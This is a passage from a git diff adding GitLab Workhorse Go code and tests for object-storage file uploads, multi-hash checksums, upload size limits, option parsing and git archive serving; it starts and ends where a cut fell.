+func TestSaveFileWithAzureWorkhorseClient(t *testing.T) {
+ mux, bucketDir, cleanup := test.SetupGoCloudFileBucket(t, "azblob")
+ defer cleanup()
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ remoteObject := "tmp/test-file/1"
+ opts := filestore.SaveFileOpts{
+ RemoteID: "test-file",
+ Deadline: testDeadline(),
+ UseWorkhorseClient: true,
+ RemoteTempObjectID: remoteObject,
+ ObjectStorageConfig: filestore.ObjectStorageConfig{
+ Provider: "AzureRM",
+ URLMux: mux,
+ GoCloudConfig: config.GoCloudConfig{URL: "azblob://test-container"},
+ },
+ }
+
+ _, err := filestore.SaveFileFromReader(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, &opts)
+ require.NoError(t, err)
+
+ test.GoCloudObjectExists(t, bucketDir, remoteObject)
+}
+
+func TestSaveFileWithUnknownGoCloudScheme(t *testing.T) {
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ mux := new(blob.URLMux)
+
+ remoteObject := "tmp/test-file/1"
+ opts := filestore.SaveFileOpts{
+ RemoteID: "test-file",
+ Deadline: testDeadline(),
+ UseWorkhorseClient: true,
+ RemoteTempObjectID: remoteObject,
+ ObjectStorageConfig: filestore.ObjectStorageConfig{
+ Provider: "SomeCloud",
+ URLMux: mux,
+ GoCloudConfig: config.GoCloudConfig{URL: "foo://test-container"},
+ },
+ }
+
+ _, err := filestore.SaveFileFromReader(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, &opts)
+ require.Error(t, err)
+}
+
+func TestSaveMultipartInBodyFailure(t *testing.T) {
+ osStub, ts := test.StartObjectStore()
+ defer ts.Close()
+
+ // this is a broken path because it contains bucket name but no key
+ // this is the only way to get an in-body failure from our ObjectStoreStub
+ objectPath := "/bucket-but-no-object-key"
+ objectURL := ts.URL + objectPath
+ opts := filestore.SaveFileOpts{
+ RemoteID: "test-file",
+ RemoteURL: objectURL,
+ PartSize: test.ObjectSize,
+ PresignedParts: []string{objectURL + "?partNumber=1", objectURL + "?partNumber=2"},
+ PresignedCompleteMultipart: objectURL + "?Signature=CompleteSignature",
+ Deadline: testDeadline(),
+ }
+
+ osStub.InitiateMultipartUpload(objectPath)
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ fh, err := filestore.SaveFileFromReader(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, &opts)
+ require.Nil(t, fh)
+ require.Error(t, err)
+ require.EqualError(t, err, test.MultipartUploadInternalError().Error())
+}
+
+func TestSaveRemoteFileWithLimit(t *testing.T) {
+ testhelper.ConfigureSecret()
+
+ type remote int
+ const (
+ notRemote remote = iota
+ remoteSingle
+ remoteMultipart
+ )
+
+ remoteTypes := []remote{remoteSingle, remoteMultipart}
+
+ tests := []struct {
+ name string
+ objectSize int64
+ maxSize int64
+ expectedErr error
+ testData string
+ }{
+ {
+ name: "known size with no limit",
+ testData: test.ObjectContent,
+ objectSize: test.ObjectSize,
+ },
+ {
+ name: "unknown size with no limit",
+ testData: test.ObjectContent,
+ objectSize: -1,
+ },
+ {
+ name: "unknown object size with limit",
+ testData: test.ObjectContent,
+ objectSize: -1,
+ maxSize: test.ObjectSize - 1,
+ expectedErr: filestore.ErrEntityTooLarge,
+ },
+ {
+ name: "large object with unknown size with limit",
+ testData: string(make([]byte, 20000)),
+ objectSize: -1,
+ maxSize: 19000,
+ expectedErr: filestore.ErrEntityTooLarge,
+ },
+ }
+
+ for _, tc := range tests {
+ t.Run(tc.name, func(t *testing.T) {
+ var opts filestore.SaveFileOpts
+
+ for _, remoteType := range remoteTypes {
+ tmpFolder, err := ioutil.TempDir("", "workhorse-test-tmp")
+ require.NoError(t, err)
+ defer os.RemoveAll(tmpFolder)
+
+ osStub, ts := test.StartObjectStore()
+ defer ts.Close()
+
+ switch remoteType {
+ case remoteSingle:
+ objectURL := ts.URL + test.ObjectPath
+
+ opts.RemoteID = "test-file"
+ opts.RemoteURL = objectURL
+ opts.PresignedPut = objectURL + "?Signature=ASignature"
+ opts.PresignedDelete = objectURL + "?Signature=AnotherSignature"
+ opts.Deadline = testDeadline()
+ opts.MaximumSize = tc.maxSize
+ case remoteMultipart:
+ objectURL := ts.URL + test.ObjectPath
+
+ opts.RemoteID = "test-file"
+ opts.RemoteURL = objectURL
+ opts.PresignedDelete = objectURL + "?Signature=AnotherSignature"
+ opts.PartSize = int64(len(tc.testData)/2) + 1
+ opts.PresignedParts = []string{objectURL + "?partNumber=1", objectURL + "?partNumber=2"}
+ opts.PresignedCompleteMultipart = objectURL + "?Signature=CompleteSignature"
+ opts.Deadline = testDeadline()
+ opts.MaximumSize = tc.maxSize
+
+ require.Less(t, int64(len(tc.testData)), int64(len(opts.PresignedParts))*opts.PartSize, "check part size calculation")
+
+ osStub.InitiateMultipartUpload(test.ObjectPath)
+ }
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ fh, err := filestore.SaveFileFromReader(ctx, strings.NewReader(tc.testData), tc.objectSize, &opts)
+
+ if tc.expectedErr == nil {
+ require.NoError(t, err)
+ require.NotNil(t, fh)
+ } else {
+ require.True(t, errors.Is(err, tc.expectedErr))
+ require.Nil(t, fh)
+ }
+ }
+ })
+ }
+}
+
+func checkFileHandlerWithFields(t *testing.T, fh *filestore.FileHandler, fields map[string]string, prefix string) {
+ key := func(field string) string {
+ if prefix == "" {
+ return field
+ }
+
+ return fmt.Sprintf("%s.%s", prefix, field)
+ }
+
+ require.Equal(t, fh.Name, fields[key("name")])
+ require.Equal(t, fh.LocalPath, fields[key("path")])
+ require.Equal(t, fh.RemoteURL, fields[key("remote_url")])
+ require.Equal(t, fh.RemoteID, fields[key("remote_id")])
+ require.Equal(t, strconv.FormatInt(test.ObjectSize, 10), fields[key("size")])
+ require.Equal(t, test.ObjectMD5, fields[key("md5")])
+ require.Equal(t, test.ObjectSHA1, fields[key("sha1")])
+ require.Equal(t, test.ObjectSHA256, fields[key("sha256")])
+ require.Equal(t, test.ObjectSHA512, fields[key("sha512")])
+}
diff --git a/workhorse/internal/filestore/multi_hash.go b/workhorse/internal/filestore/multi_hash.go
new file mode 100644
index 00000000000..40efd3a5c1f
--- /dev/null
+++ b/workhorse/internal/filestore/multi_hash.go
@@ -0,0 +1,48 @@
+package filestore
+
+import (
+ "crypto/md5"
+ "crypto/sha1"
+ "crypto/sha256"
+ "crypto/sha512"
+ "encoding/hex"
+ "hash"
+ "io"
+)
+
+var hashFactories = map[string](func() hash.Hash){
+ "md5": md5.New,
+ "sha1": sha1.New,
+ "sha256": sha256.New,
+ "sha512": sha512.New,
+}
+
+type multiHash struct {
+ io.Writer
+ hashes map[string]hash.Hash
+}
+
+func newMultiHash() (m *multiHash) {
+ m = &multiHash{}
+ m.hashes = make(map[string]hash.Hash)
+
+ var writers []io.Writer
+ for hash, hashFactory := range hashFactories {
+ writer := hashFactory()
+
+ m.hashes[hash] = writer
+ writers = append(writers, writer)
+ }
+
+ m.Writer = io.MultiWriter(writers...)
+ return m
+}
+
+func (m *multiHash) finish() map[string]string {
+ h := make(map[string]string)
+ for hashName, hash := range m.hashes {
+ checksum := hash.Sum(nil)
+ h[hashName] = hex.EncodeToString(checksum)
+ }
+ return h
+}
diff --git a/workhorse/internal/filestore/reader.go b/workhorse/internal/filestore/reader.go
new file mode 100644
index 00000000000..b1045b991fc
--- /dev/null
+++ b/workhorse/internal/filestore/reader.go
@@ -0,0 +1,17 @@
+package filestore
+
+import "io"
+
+type hardLimitReader struct {
+ r io.Reader
+ n int64
+}
+
+func (h *hardLimitReader) Read(p []byte) (int, error) {
+ nRead, err := h.r.Read(p)
+ h.n -= int64(nRead)
+ if h.n < 0 {
+ err = ErrEntityTooLarge
+ }
+ return nRead, err
+}
diff --git a/workhorse/internal/filestore/reader_test.go b/workhorse/internal/filestore/reader_test.go
new file mode 100644
index 00000000000..424d921ecaf
--- /dev/null
+++ b/workhorse/internal/filestore/reader_test.go
@@ -0,0 +1,46 @@
+package filestore
+
+import (
+ "fmt"
+ "io/ioutil"
+ "strings"
+ "testing"
+ "testing/iotest"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestHardLimitReader(t *testing.T) {
+ const text = "hello world"
+ r := iotest.OneByteReader(
+ &hardLimitReader{
+ r: strings.NewReader(text),
+ n: int64(len(text)),
+ },
+ )
+
+ out, err := ioutil.ReadAll(r)
+ require.NoError(t, err)
+ require.Equal(t, text, string(out))
+}
+
+func TestHardLimitReaderFail(t *testing.T) {
+ const text = "hello world"
+
+ for bufSize := len(text) / 2; bufSize < len(text)*2; bufSize++ {
+ t.Run(fmt.Sprintf("bufsize:%d", bufSize), func(t *testing.T) {
+ r := &hardLimitReader{
+ r: iotest.DataErrReader(strings.NewReader(text)),
+ n: int64(len(text)) - 1,
+ }
+ buf := make([]byte, bufSize)
+
+ var err error
+ for i := 0; err == nil && i < 1000; i++ {
+ _, err = r.Read(buf)
+ }
+
+ require.Equal(t, ErrEntityTooLarge, err)
+ })
+ }
+}
diff --git a/workhorse/internal/filestore/save_file_opts.go b/workhorse/internal/filestore/save_file_opts.go
new file mode 100644
index 00000000000..1eb708c3f55
--- /dev/null
+++ b/workhorse/internal/filestore/save_file_opts.go
@@ -0,0 +1,171 @@
+package filestore
+
+import (
+ "errors"
+ "strings"
+ "time"
+
+ "gocloud.dev/blob"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+)
+
+// DefaultObjectStoreTimeout is the timeout for ObjectStore upload operation
+const DefaultObjectStoreTimeout = 4 * time.Hour
+
+type ObjectStorageConfig struct {
+ Provider string
+
+ S3Credentials config.S3Credentials
+ S3Config config.S3Config
+
+ // GoCloud mux that maps azureblob:// and future URLs (e.g. s3://, gcs://, etc.) to a handler
+ URLMux *blob.URLMux
+
+ // Azure credentials are registered at startup in the GoCloud URLMux, so only the container name is needed
+ GoCloudConfig config.GoCloudConfig
+}
+
+// SaveFileOpts represents all the options available for saving a file to object store
+type SaveFileOpts struct {
+ // TempFilePrefix is the prefix used to create temporary local file
+ TempFilePrefix string
+ // LocalTempPath is the directory where to write a local copy of the file
+ LocalTempPath string
+ // RemoteID is the remote ObjectID provided by GitLab
+ RemoteID string
+ // RemoteURL is the final URL of the file
+ RemoteURL string
+ // PresignedPut is a presigned S3 PutObject compatible URL
+ PresignedPut string
+ // PresignedDelete is a presigned S3 DeleteObject compatible URL.
+ PresignedDelete string
+ // HTTP headers to be sent along with PUT request
+ PutHeaders map[string]string
+ // Whether to ignore Rails pre-signed URLs and have Workhorse directly access object storage provider
+ UseWorkhorseClient bool
+ // If UseWorkhorseClient is true, this is the temporary object name to store the file
+ RemoteTempObjectID string
+ // Workhorse object storage client (e.g. S3) parameters
+ ObjectStorageConfig ObjectStorageConfig
+ // Deadline it the S3 operation deadline, the upload will be aborted if not completed in time
+ Deadline time.Time
+ // The maximum accepted size in bytes of the upload
+ MaximumSize int64
+
+ //MultipartUpload parameters
+ // PartSize is the exact size of each uploaded part. Only the last one can be smaller
+ PartSize int64
+ // PresignedParts contains the presigned URLs for each part
+ PresignedParts []string
+ // PresignedCompleteMultipart is a presigned URL for CompleteMulipartUpload
+ PresignedCompleteMultipart string
+ // PresignedAbortMultipart is a presigned URL for AbortMultipartUpload
+ PresignedAbortMultipart string
+}
+
+// UseWorkhorseClientEnabled checks if the options require direct access to object storage
+func (s *SaveFileOpts) UseWorkhorseClientEnabled() bool {
+ return s.UseWorkhorseClient && s.ObjectStorageConfig.IsValid() && s.RemoteTempObjectID != ""
+}
+
+// IsLocal checks if the options require the writing of the file on disk
+func (s *SaveFileOpts) IsLocal() bool {
+ return s.LocalTempPath != ""
+}
+
+// IsMultipart checks if the options requires a Multipart upload
+func (s *SaveFileOpts) IsMultipart() bool {
+ return s.PartSize > 0
+}
+
+// GetOpts converts GitLab api.Response to a proper SaveFileOpts
+func GetOpts(apiResponse *api.Response) (*SaveFileOpts, error) {
+ timeout := time.Duration(apiResponse.RemoteObject.Timeout) * time.Second
+ if timeout == 0 {
+ timeout = DefaultObjectStoreTimeout
+ }
+
+ opts := SaveFileOpts{
+ LocalTempPath: apiResponse.TempPath,
+ RemoteID: apiResponse.RemoteObject.ID,
+ RemoteURL: apiResponse.RemoteObject.GetURL,
+ PresignedPut: apiResponse.RemoteObject.StoreURL,
+ PresignedDelete: apiResponse.RemoteObject.DeleteURL,
+ PutHeaders: apiResponse.RemoteObject.PutHeaders,
+ UseWorkhorseClient: apiResponse.RemoteObject.UseWorkhorseClient,
+ RemoteTempObjectID: apiResponse.RemoteObject.RemoteTempObjectID,
+ Deadline: time.Now().Add(timeout),
+ MaximumSize: apiResponse.MaximumSize,
+ }
+
+ if opts.LocalTempPath != "" && opts.RemoteID != "" {
+ return nil, errors.New("API response has both TempPath and RemoteObject")
+ }
+
+ if opts.LocalTempPath == "" && opts.RemoteID == "" {
+ return nil, errors.New("API response has neither TempPath nor RemoteObject")
+ }
+
+ objectStorageParams := apiResponse.RemoteObject.ObjectStorage
+ if opts.UseWorkhorseClient && objectStorageParams != nil {
+ opts.ObjectStorageConfig.Provider = objectStorageParams.Provider
+ opts.ObjectStorageConfig.S3Config = objectStorageParams.S3Config
+ opts.ObjectStorageConfig.GoCloudConfig = objectStorageParams.GoCloudConfig
+ }
+
+ // Backwards compatibility to ensure API servers that do not include the
+ // CustomPutHeaders flag will default to the original content type.
+ if !apiResponse.RemoteObject.CustomPutHeaders {
+ opts.PutHeaders = make(map[string]string)
+ opts.PutHeaders["Content-Type"] = "application/octet-stream"
+ }
+
+ if multiParams := apiResponse.RemoteObject.MultipartUpload; multiParams != nil {
+ opts.PartSize = multiParams.PartSize
+ opts.PresignedCompleteMultipart = multiParams.CompleteURL
+ opts.PresignedAbortMultipart = multiParams.AbortURL
+ opts.PresignedParts = append([]string(nil), multiParams.PartURLs...)
+ }
+
+ return &opts, nil
+}
+
+func (c *ObjectStorageConfig) IsAWS() bool {
+ return strings.EqualFold(c.Provider, "AWS") || strings.EqualFold(c.Provider, "S3")
+}
+
+func (c *ObjectStorageConfig) IsAzure() bool {
+ return strings.EqualFold(c.Provider, "AzureRM")
+}
+
+func (c *ObjectStorageConfig) IsGoCloud() bool {
+ return c.GoCloudConfig.URL != ""
+}
+
+func (c *ObjectStorageConfig) IsValid() bool {
+ if c.IsAWS() {
+ return c.S3Config.Bucket != "" && c.S3Config.Region != "" && c.s3CredentialsValid()
+ } else if c.IsGoCloud() {
+ // We could parse and validate the URL, but GoCloud providers
+ // such as AzureRM don't have a fallback to normal HTTP, so we
+ // always want to try the GoCloud path if there is a URL.
+ return true
+ }
+
+ return false
+}
+
+func (c *ObjectStorageConfig) s3CredentialsValid() bool {
+ // We need to be able to distinguish between two cases of AWS access:
+ // 1. AWS access via key and secret, but credentials not configured in Workhorse
+ // 2. IAM instance profiles used
+ if c.S3Config.UseIamProfile {
+ return true
+ } else if c.S3Credentials.AwsAccessKeyID != "" && c.S3Credentials.AwsSecretAccessKey != "" {
+ return true
+ }
+
+ return false
+}
diff --git a/workhorse/internal/filestore/save_file_opts_test.go b/workhorse/internal/filestore/save_file_opts_test.go
new file mode 100644
index 00000000000..2d6cd683b51
--- /dev/null
+++ b/workhorse/internal/filestore/save_file_opts_test.go
@@ -0,0 +1,331 @@
+package filestore_test
+
+import (
+ "testing"
+ "time"
+
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/filestore"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/objectstore/test"
+)
+
+func TestSaveFileOptsLocalAndRemote(t *testing.T) {
+ tests := []struct {
+ name string
+ localTempPath string
+ presignedPut string
+ partSize int64
+ isLocal bool
+ isRemote bool
+ isMultipart bool
+ }{
+ {
+ name: "Only LocalTempPath",
+ localTempPath: "/tmp",
+ isLocal: true,
+ },
+ {
+ name: "No paths",
+ },
+ {
+ name: "Only remoteUrl",
+ presignedPut: "http://example.com",
+ },
+ {
+ name: "Multipart",
+ partSize: 10,
+ isMultipart: true,
+ },
+ }
+
+ for _, test := range tests {
+ t.Run(test.name, func(t *testing.T) {
+ opts := filestore.SaveFileOpts{
+ LocalTempPath: test.localTempPath,
+ PresignedPut: test.presignedPut,
+ PartSize: test.partSize,
+ }
+
+ require.Equal(t, test.isLocal, opts.IsLocal(), "IsLocal() mismatch")
+ require.Equal(t, test.isMultipart, opts.IsMultipart(), "IsMultipart() mismatch")
+ })
+ }
+}
+
+func TestGetOpts(t *testing.T) {
+ tests := []struct {
+ name string
+ multipart *api.MultipartUploadParams
+ customPutHeaders bool
+ putHeaders map[string]string
+ }{
+ {
+ name: "Single upload",
+ }, {
+ name: "Multipart upload",
+ multipart: &api.MultipartUploadParams{
+ PartSize: 10,
+ CompleteURL: "http://complete",
+ AbortURL: "http://abort",
+ PartURLs: []string{"http://part1", "http://part2"},
+ },
+ },
+ {
+ name: "Single upload with custom content type",
+ customPutHeaders: true,
+ putHeaders: map[string]string{"Content-Type": "image/jpeg"},
+ }, {
+ name: "Multipart upload with custom content type",
+ multipart: &api.MultipartUploadParams{
+ PartSize: 10,
+ CompleteURL: "http://complete",
+ AbortURL: "http://abort",
+ PartURLs: []string{"http://part1", "http://part2"},
+ },
+ customPutHeaders: true,
+ putHeaders: map[string]string{"Content-Type": "image/jpeg"},
+ },
+ }
+
+ for _, test := range tests {
+ t.Run(test.name, func(t *testing.T) {
+ apiResponse := &api.Response{
+ RemoteObject: api.RemoteObject{
+ Timeout: 10,
+ ID: "id",
+ GetURL: "http://get",
+ StoreURL: "http://store",
+ DeleteURL: "http://delete",
+ MultipartUpload: test.multipart,
+ CustomPutHeaders: test.customPutHeaders,
+ PutHeaders: test.putHeaders,
+ },
+ }
+ deadline := time.Now().Add(time.Duration(apiResponse.RemoteObject.Timeout) * time.Second)
+ opts, err := filestore.GetOpts(apiResponse)
+ require.NoError(t, err)
+
+ require.Equal(t, apiResponse.TempPath, opts.LocalTempPath)
+ require.WithinDuration(t, deadline, opts.Deadline, time.Second)
+ require.Equal(t, apiResponse.RemoteObject.ID, opts.RemoteID)
+ require.Equal(t, apiResponse.RemoteObject.GetURL, opts.RemoteURL)
+ require.Equal(t, apiResponse.RemoteObject.StoreURL, opts.PresignedPut)
+ require.Equal(t, apiResponse.RemoteObject.DeleteURL, opts.PresignedDelete)
+ if test.customPutHeaders {
+ require.Equal(t, opts.PutHeaders, apiResponse.RemoteObject.PutHeaders)
+ } else {
+ require.Equal(t, opts.PutHeaders, map[string]string{"Content-Type": "application/octet-stream"})
+ }
+
+ if test.multipart == nil {
+ require.False(t, opts.IsMultipart())
+ require.Empty(t, opts.PresignedCompleteMultipart)
+ require.Empty(t, opts.PresignedAbortMultipart)
+ require.Zero(t, opts.PartSize)
+ require.Empty(t, opts.PresignedParts)
+ } else {
+ require.True(t, opts.IsMultipart())
+ require.Equal(t, test.multipart.CompleteURL, opts.PresignedCompleteMultipart)
+ require.Equal(t, test.multipart.AbortURL, opts.PresignedAbortMultipart)
+ require.Equal(t, test.multipart.PartSize, opts.PartSize)
+ require.Equal(t, test.multipart.PartURLs, opts.PresignedParts)
+ }
+ })
+ }
+}
+
+func TestGetOptsFail(t *testing.T) {
+ testCases := []struct {
+ desc string
+ in api.Response
+ }{
+ {
+ desc: "neither local nor remote",
+ in: api.Response{},
+ },
+ {
+ desc: "both local and remote",
+ in: api.Response{TempPath: "/foobar", RemoteObject: api.RemoteObject{ID: "id"}},
+ },
+ }
+
+ for _, tc := range testCases {
+ t.Run(tc.desc, func(t *testing.T) {
+ _, err := filestore.GetOpts(&tc.in)
+ require.Error(t, err, "expect input to be rejected")
+ })
+ }
+}
+
+func TestGetOptsDefaultTimeout(t *testing.T) {
+ deadline := time.Now().Add(filestore.DefaultObjectStoreTimeout)
+ opts, err := filestore.GetOpts(&api.Response{TempPath: "/foo/bar"})
+ require.NoError(t, err)
+
+ require.WithinDuration(t, deadline, opts.Deadline, time.Minute)
+}
+
+func TestUseWorkhorseClientEnabled(t *testing.T) {
+ cfg := filestore.ObjectStorageConfig{
+ Provider: "AWS",
+ S3Config: config.S3Config{
+ Bucket: "test-bucket",
+ Region: "test-region",
+ },
+ S3Credentials: config.S3Credentials{
+ AwsAccessKeyID: "test-key",
+ AwsSecretAccessKey: "test-secret",
+ },
+ }
+
+ missingCfg := cfg
+ missingCfg.S3Credentials = config.S3Credentials{}
+
+ iamConfig := missingCfg
+ iamConfig.S3Config.UseIamProfile = true
+
+ tests := []struct {
+ name string
+ UseWorkhorseClient bool
+ remoteTempObjectID string
+ objectStorageConfig filestore.ObjectStorageConfig
+ expected bool
+ }{
+ {
+ name: "all direct access settings used",
+ UseWorkhorseClient: true,
+ remoteTempObjectID: "test-object",
+ objectStorageConfig: cfg,
+ expected: true,
+ },
+ {
+ name: "missing AWS credentials",
+ UseWorkhorseClient: true,
+ remoteTempObjectID: "test-object",
+ objectStorageConfig: missingCfg,
+ expected: false,
+ },
+ {
+ name: "direct access disabled",
+ UseWorkhorseClient: false,
+ remoteTempObjectID: "test-object",
+ objectStorageConfig: cfg,
+ expected: false,
+ },
+ {
+ name: "with IAM instance profile",
+ UseWorkhorseClient: true,
+ remoteTempObjectID: "test-object",
+ objectStorageConfig: iamConfig,
+ expected: true,
+ },
+ {
+ name: "missing remote temp object ID",
+ UseWorkhorseClient: true,
+ remoteTempObjectID: "",
+ objectStorageConfig: cfg,
+ expected: false,
+ },
+ {
+ name: "missing S3 config",
+ UseWorkhorseClient: true,
+ remoteTempObjectID: "test-object",
+ expected: false,
+ },
+ {
+ name: "missing S3 bucket",
+ UseWorkhorseClient: true,
+ remoteTempObjectID: "test-object",
+ objectStorageConfig: filestore.ObjectStorageConfig{
+ Provider: "AWS",
+ S3Config: config.S3Config{},
+ },
+ expected: false,
+ },
+ }
+
+ for _, test := range tests {
+ t.Run(test.name, func(t *testing.T) {
+ apiResponse := &api.Response{
+ RemoteObject: api.RemoteObject{
+ Timeout: 10,
+ ID: "id",
+ UseWorkhorseClient: test.UseWorkhorseClient,
+ RemoteTempObjectID: test.remoteTempObjectID,
+ },
+ }
+ deadline := time.Now().Add(time.Duration(apiResponse.RemoteObject.Timeout) * time.Second)
+ opts, err := filestore.GetOpts(apiResponse)
+ require.NoError(t, err)
+ opts.ObjectStorageConfig = test.objectStorageConfig
+
+ require.Equal(t, apiResponse.TempPath, opts.LocalTempPath)
+ require.WithinDuration(t, deadline, opts.Deadline, time.Second)
+ require.Equal(t, apiResponse.RemoteObject.ID, opts.RemoteID)
+ require.Equal(t, apiResponse.RemoteObject.UseWorkhorseClient, opts.UseWorkhorseClient)
+ require.Equal(t, test.expected, opts.UseWorkhorseClientEnabled())
+ })
+ }
+}
+
+func TestGoCloudConfig(t *testing.T) {
+ mux, _, cleanup := test.SetupGoCloudFileBucket(t, "azblob")
+ defer cleanup()
+
+ tests := []struct {
+ name string
+ provider string
+ url string
+ valid bool
+ }{
+ {
+ name: "valid AzureRM config",
+ provider: "AzureRM",
+ url: "azblob:://test-container",
+ valid: true,
+ },
+ {
+ name: "invalid GoCloud scheme",
+ provider: "AzureRM",
+ url: "unknown:://test-container",
+ valid: true,
+ },
+ }
+
+ for _, test := range tests {
+ t.Run(test.name, func(t *testing.T) {
+ apiResponse := &api.Response{
+ RemoteObject: api.RemoteObject{
+ Timeout: 10,
+ ID: "id",
+ UseWorkhorseClient: true,
+ RemoteTempObjectID: "test-object",
+ ObjectStorage: &api.ObjectStorageParams{
+ Provider: test.provider,
+ GoCloudConfig: config.GoCloudConfig{
+ URL: test.url,
+ },
+ },
+ },
+ }
+ deadline := time.Now().Add(time.Duration(apiResponse.RemoteObject.Timeout) * time.Second)
+ opts, err := filestore.GetOpts(apiResponse)
+ require.NoError(t, err)
+ opts.ObjectStorageConfig.URLMux = mux
+
+ require.Equal(t, apiResponse.TempPath, opts.LocalTempPath)
+ require.Equal(t, apiResponse.RemoteObject.RemoteTempObjectID, opts.RemoteTempObjectID)
+ require.WithinDuration(t, deadline, opts.Deadline, time.Second)
+ require.Equal(t, apiResponse.RemoteObject.ID, opts.RemoteID)
+ require.Equal(t, apiResponse.RemoteObject.UseWorkhorseClient, opts.UseWorkhorseClient)
+ require.Equal(t, test.provider, opts.ObjectStorageConfig.Provider)
+ require.Equal(t, apiResponse.RemoteObject.ObjectStorage.GoCloudConfig, opts.ObjectStorageConfig.GoCloudConfig)
+ require.True(t, opts.UseWorkhorseClientEnabled())
+ require.Equal(t, test.valid, opts.ObjectStorageConfig.IsValid())
+ require.False(t, opts.IsLocal())
+ })
+ }
+}
diff --git a/workhorse/internal/git/archive.go b/workhorse/internal/git/archive.go
new file mode 100644
index 00000000000..b7575be2c02
--- /dev/null
+++ b/workhorse/internal/git/archive.go
@@ -0,0 +1,216 @@
+/*
+In this file we handle 'git archive' downloads
+*/
+
+package git
+
+import (
+ "fmt"
+ "io"
+ "io/ioutil"
+ "net/http"
+ "os"
+ "path"
+ "path/filepath"
+ "regexp"
+ "time"
+
+ "github.com/golang/protobuf/proto" //lint:ignore SA1019 https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/274
+
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/senddata"
+)
+
+type archive struct{ senddata.Prefix }
+type archiveParams struct {
+ ArchivePath string
+ ArchivePrefix string
+ CommitId string
+ GitalyServer gitaly.Server
+ GitalyRepository gitalypb.Repository
+ DisableCache bool
+ GetArchiveRequest []byte
+}
+
+var (
+ SendArchive = &archive{"git-archive:"}
+ gitArchiveCache = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_git_archive_cache",
+ Help: "Cache hits and misses for 'git archive' streaming",
+ },
+ []string{"result"},
+ )
+)
+
+func (a *archive) Inject(w http.ResponseWriter, r *http.Request, sendData string) {
+ var params archiveParams
+ if err := a.Unpack(&params, sendData); err != nil {
+ helper.Fail500(w, r, fmt.Errorf("SendArchive: unpack sendData: %v", err))
+ return
+ }
+
+ urlPath := r.URL.Path
+ format, ok := parseBasename(filepath.Base(urlPath))
+ if !ok {
+ helper.Fail500(w, r, fmt.Errorf("SendArchive: invalid format: %s", urlPath))
+ return
+ }
+
+ cacheEnabled := !params.DisableCache
+ archiveFilename := path.Base(params.ArchivePath)
+
+ if cacheEnabled {
+ cachedArchive, err := os.Open(params.ArchivePath)
+ if err == nil {
+ defer cachedArchive.Close()
+ gitArchiveCache.WithLabelValues("hit").Inc()
+ setArchiveHeaders(w, format, archiveFilename)
+ // Even if somebody deleted the cachedArchive from disk since we opened
+ // the file, Unix file semantics guarantee we can still read from the
+ // open file in this process.
+ http.ServeContent(w, r, "", time.Unix(0, 0), cachedArchive)
+ return
+ }
+ }
+
+ gitArchiveCache.WithLabelValues("miss").Inc()
+
+ var tempFile *os.File
+ var err error
+
+ if cacheEnabled {
+ // We assume the tempFile has a unique name so that concurrent requests are
+ // safe. We create the tempfile in the same directory as the final cached
+ // archive we want to create so that we can use an atomic link(2) operation
+ // to finalize the cached archive.
+ tempFile, err = prepareArchiveTempfile(path.Dir(params.ArchivePath), archiveFilename)
+ if err != nil {
+ helper.Fail500(w, r, fmt.Errorf("SendArchive: create tempfile: %v", err))
+ return
+ }
+ defer tempFile.Close()
+ defer os.Remove(tempFile.Name())
+ }
+
+ var archiveReader io.Reader
+
+ archiveReader, err = handleArchiveWithGitaly(r, params, format)
+ if err != nil {
+ helper.Fail500(w, r, fmt.Errorf("operations.GetArchive: %v", err))
+ return
+ }
+
+ reader := archiveReader
+ if cacheEnabled {
+ reader = io.TeeReader(archiveReader, tempFile)
+ }
+
+ // Start writing the response
+ setArchiveHeaders(w, format, archiveFilename)
+ w.WriteHeader(200) // Don't bother with HTTP 500 from this point on, just return
+ if _, err := io.Copy(w, reader); err != nil {
+ helper.LogError(r, &copyError{fmt.Errorf("SendArchive: copy 'git archive' output: %v", err)})
+ return
+ }
+
+ if cacheEnabled {
+ err := finalizeCachedArchive(tempFile, params.ArchivePath)
+ if err != nil {
+ helper.LogError(r, fmt.Errorf("SendArchive: finalize cached archive: %v", err))
+ return
+ }
+ }
+}
+
+func handleArchiveWithGitaly(r *http.Request, params archiveParams, format gitalypb.GetArchiveRequest_Format) (io.Reader, error) {
+ var request *gitalypb.GetArchiveRequest
+ ctx, c, err := gitaly.NewRepositoryClient(r.Context(), params.GitalyServer)
+ if err != nil {
+ return nil, err
+ }
+
+ if params.GetArchiveRequest != nil {
+ request = &gitalypb.GetArchiveRequest{}
+
+ if err := proto.Unmarshal(params.GetArchiveRequest, request); err != nil {
+ return nil, fmt.Errorf("unmarshal GetArchiveRequest: %v", err)
+ }
+ } else {
+ request = &gitalypb.GetArchiveRequest{
+ Repository: &params.GitalyRepository,
+ CommitId: params.CommitId,
+ Prefix: params.ArchivePrefix,
+ Format: format,
+ }
+ }
+
+ return c.ArchiveReader(ctx, request)
+}
+
+func setArchiveHeaders(w http.ResponseWriter, format gitalypb.GetArchiveRequest_Format, archiveFilename string) {
+ w.Header().Del("Content-Length")
+ w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, archiveFilename))
+ // Caching proxies usually don't cache responses with Set-Cookie header
+ // present because it implies user-specific data, which is not the case
+ // for repository archives.
